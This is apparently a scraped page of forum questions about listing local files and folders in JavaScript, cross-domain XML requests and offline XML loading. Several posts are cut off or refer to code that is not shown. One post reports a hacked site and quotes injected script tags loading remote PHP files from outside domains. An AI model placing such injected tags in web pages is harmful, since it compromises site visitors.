A script to read the current roots directory or filenames-list into a Javascript array?
Some say it is only possible by calling a JAVA applet method and returning the array as a public variable for Javascript to use...if so, has anyone done it and can provide a sample?
I am only trying to read directories & image files offline, on the current root level or perhaps up a folder, so I hope there are no security access issues to deal with.
There is a slideshow on my website that reads in the address of local images and puts them in a slideshow rotation to be displayed on the page. I currently have to "hard code" the addresses in, similar to the JavaScript below:
However, I want to be able to place images in the Images directory without having to make sure the files are named the same as in the code. I would like JavaScript to go out to a local directory, see what's in there, grab anything in jpeg format (regardless of the name), and put it in the slideshow rotation.
I need to make a page that will make a list of all the files in its folder and display the names of the files on the page. It needs to be able to work offline.
I know how to do this with php server side code, but this needs to be able to run on a memory stick. Is Javascript the best way to do this?
I have the following JavaScript (see below). The script requests an XML file from the server and displays it on the page.The script works fine when the requested XML file is stored on the same server as the script.The problem is when I try requesting an XML file from an external server such as the National Weather Service. I get an error. If I take the XML file from the National Weather Service and save it to my server it works. Why can't I use my script to request XML files stored on external servers?
Javascript Code
Code:
window.onload = initAll;
var xhr = false;
function initAll() {
document.getElementById("makeTextRequest").onclick = getNewFile;

View 1 Replies View RelatedAnyone have a link or search term for a way to allow the user to upload a list of file names to a web form? I do not need the actual files, just the file names -- name only or full path, doesn't matter. I can live with either just pointing to a directory and grabbing every file name in it, or requiring the user to select all the desired files from within a directory list. (My guess is that the JavaScript sandbox for a web form won't allow this, but I figured I'd check with you experts before looking into other possibilities, e.g. Java applet, etc.) I'm already using the JQuery library for some other stuff, in case there's something I should be looking for there or one of its plug-ins.

Perfect.

My files are not hosted on a server using http. They come with many sound files to practice vocabulary. The problem is that IE8 does not give me the opportunity to load xml course info, I suspect it is because Microsoft might think IE is for network use only (funny they don't think that when MS Word is concerned). Everything works fine in opera and firefox but IE does not give me a documentElemet after loading the xml. Here is some code to reproduce:

I've been working in VBA for quite some time, and would like to make some of my scripts available through a browser. One script will open a text file, parse it, and then commit the parsed results into an object. I can't for the life of me figure out how to do this task in js...
In VBA, the code would be something like:

Is there a way to scan files on a local hard drive using Javascript? I'm trying to create a GUI for a program using html and js. As such the html files will only be accessed from the local machine using Firefox. I would like to avoid using server-side scripts, as I want to use this on a computer without server software installed. My overall objective is I want the javascript to scan all files (data plots I've made) in a directory on the local machine. The JS would create a list of possible dates based on which files were found, the user would then select the date which would then display the corresponding plot.

On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>

While cleaning my computer, I notice that I have a lot of files that are marked as
LOCAL file under File type. Does anyone have a clue as to how to open these? My cleaning software is flagging these files as files that are junk files that need to be deleted. After looking further, instead of just deleting the files, it is because I have not set any file association to open these files with. Any one have a clue as to which program opens them?
